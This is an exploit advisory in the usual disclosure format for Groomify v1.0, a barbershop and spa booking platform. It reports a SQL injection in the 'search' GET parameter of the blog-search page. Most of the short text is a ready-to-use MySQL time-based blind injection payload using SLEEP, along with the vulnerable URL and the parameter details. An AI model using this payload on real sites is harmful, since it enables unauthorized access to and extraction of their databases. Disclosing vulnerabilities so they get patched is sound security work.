Groomify 1.0 SQL Injection

`# Exploit Title: Groomify v1.0 - SQL Injection  
# Date: 2023-06-17  
# Exploit Author: Ahmet Ümit BAYRAM  
# Vendor:  
https://codecanyon.net/item/groomify-barbershop-salon-spa-booking-and-ecommerce-platform/45808114#  
# Demo Site: https://script.bugfinder.net/groomify  
# Tested on: Kali Linux  
# CVE: N/A  
  
  
### Vulnerable URL ###  
  
https://localhost/groomify/blog-search?search=payload  
  
  
### Parameter & Payloads ###  
  
Parameter: search (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: search=deneme' AND (SELECT 1642 FROM (SELECT(SLEEP(5)))Xppf)  
AND 'rszk'='rszk  
  
`